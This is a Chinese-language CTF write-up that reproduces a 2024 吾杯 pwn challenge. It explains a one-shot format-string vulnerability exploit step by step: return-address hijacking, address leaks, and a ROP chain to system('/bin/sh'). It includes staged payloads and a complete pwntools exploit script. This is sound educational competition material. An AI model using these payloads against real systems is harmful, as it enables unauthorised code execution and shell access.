2024吾杯CTF

题目挺难的,比赛的时候有事没怎么打,也没做出来,这里复现一下。

参考自大佬博客:[吾杯 2024] pwn (Yang,如果能重来)-CSDN博客

Yang

比赛时没看,有时间再复现吧。。。

如果能重来

格式化字符串漏洞的利用,个人感觉应该是格式化里边的困难程度了。

首先checksec看一下,保护全开,没法修改got且存在pie,并且没有后门函数。

main函数是先调用了sub_12f6后调用了sub_13d7,两函数如下:

pA7RZYn.png

pA7RnS0.png

13d7中只存在一次格式化字符串漏洞,虽然是栈上的,但是只有一次利用(dword_404C初始值为1)几乎且无后门函数,并且开启了pie,got表不可改,感觉所有的都给禁用了,比赛时候就卡住了,虽然根据提示猜测sub_12f6可能有什么东西,但是看了半天汇编也没看出来,这里复现一下佬的思路。

sub_12f6函数调用后,在栈上残留了一个栈地址,栈内存如下:

pA7RKyT.png

因为只有一次格式化字符串利用,所以第一步肯定是劫持返回地址使得能够重复利用。因此我们可以输入到该位置修改后两位使其指向返回地址处,然后修改返回地址为start(因为start会重新将dword_404C赋值成1)

所以第一次payload构造如下:

1
payload = f"%16$p%25$p%{0x50e0-14*2}c%11$hn".encode().ljust(24,b'A')+b'\x58'

即修改残留指针为返回地址,其中0x50e0是start的地址(这里的\x58打远程时候需要爆破,因为我本地为了方便复现关闭了ALSR),同时可以泄露出栈地址和elf地址,因为长度不够了,所以libc暂时泄露不了。

printf后栈内存如下:

pA7ReWq.jpg

之后,程序回到start然后重新走到这,我们再构造一次用来泄露libc地址,同时修改返回地址以便再次利用,并且修改dword_404C成一个大数,这里为什么要修改dword_404C呢,因为我们要往返回地址写rop链,所以在后续利用时不能再往start里返回了(因为start会清栈),需要修改该该变量后让他跳回到sub_13D7本身,从而实现多次写rop链。

所以第二次payload构造如下:

1
2
stack = ret_addr - 0x130     //这里的stack是前边泄露出的返回地址-0x130,因为call start会抬栈0x130
payload = f"%{0xb2}c%12$hhn%13$hhn,%27$p".encode().ljust(32,b'\0')+flat(stack,pro_base+0x404c+1)

其中,0xb2是进入sub_13D7函数的地址,本来返回地址是0xb7,如图所示:

pA7RulV.png

这样,我们就泄露了libc地址并且可以多次使用dword_404C了。接下来就是往返回地址 + 8处写rop链,为什么要加8呢,因为需要写三个,即pop_rdi,binsh,system,所以直接写返回地址会错误。

第三次payload构造如下:

1
2
3
4
5
6
7
def write(i,v):
sla(b"name: ", f"%{0xb2}c%12$hhn%{v-0xb2}c%13$n".encode().ljust(32,b'\0')+flat(stack,stack+8+i))

for i,v in enumerate([pop_rdi, binsh, system]):
write(i*8, v&0xffff)
write(i*8+2, (v>>16)&0xffff)
write(i*8+4, (v>>32)&0xffff)

修改完成后栈内存如下:

pA7RMOU.png

之后,在进行最后一次利用,把返回地址改成ret即可,程序返回时就会滑到ret+8处执行rop链了。

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
from pwn import *
from ctypes import *
from LibcSearcher import *

context(os='linux', arch='amd64', log_level='debug')

def s(a):
p.send(a)
def sa(a, b):
p.sendafter(a, b)
def sl(a):
p.sendline(a)
def sla(a, b):
p.sendlineafter(a, b)
def r(a):
return p.recv(a)
def ru(a):
return p.recvuntil(a)
def debug():
gdb.attach(p)
pause()
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_sb(libcbase):
return libcbase + libc.sym['system'], libcbase + next(libc.search(b'/bin/sh\x00'))

#p = remote('47.106.14.25',33780)
p = process('./fmt')
elf = ELF('./fmt')
libc = ELF('./libc-2.31.so')

payload = f"%16$p%25$p%{0x50e0-14*2}c%11$hn".encode().ljust(24,b'A')+b'\x58'
sla("name: ",payload)

#leak stack_addr
ru('0x')
ret_addr = int(p.recv(12),16) - 0x38
success("ret_addr: " + hex(ret_addr))

#leak pro_base
ru('0x')
pro_base = int(p.recv(12),16) - 0x14a9
success("pro_base: " + hex(pro_base))

sleep(1)

stack = ret_addr - 0x130
payload = f"%{0xb2}c%12$hhn%13$hhn,%27$p".encode().ljust(32,b'\0')+flat(stack,pro_base+0x404c+1)
sla("name: ",payload)
#leak libc_base
ru('0x')
libc_base = int(p.recv(12),16) - 0x24083
system = libc_base + libc.sym['system']
pop_rdi = pro_base + 0x1513
binsh = libc_base + next(libc.search(b'/bin/sh\x00'))
one_gadget = libc_base + 0xe3b04
success("libc_base: " + hex(libc_base))

def write(i,v):
sla(b"name: ", f"%{0xb2}c%12$hhn%{v-0xb2}c%13$n".encode().ljust(32,b'\0')+flat(stack,stack+8+i))


for i,v in enumerate([pop_rdi, binsh, system]):
write(i*8, v&0xffff)
write(i*8+2, (v>>16)&0xffff)
write(i*8+4, (v>>32)&0xffff)

sla(b"name: ", f"%{0xd6}c%12$hhn".encode().ljust(32,b'\0')+flat(stack)) //0xd6是ret地址

p.interactive()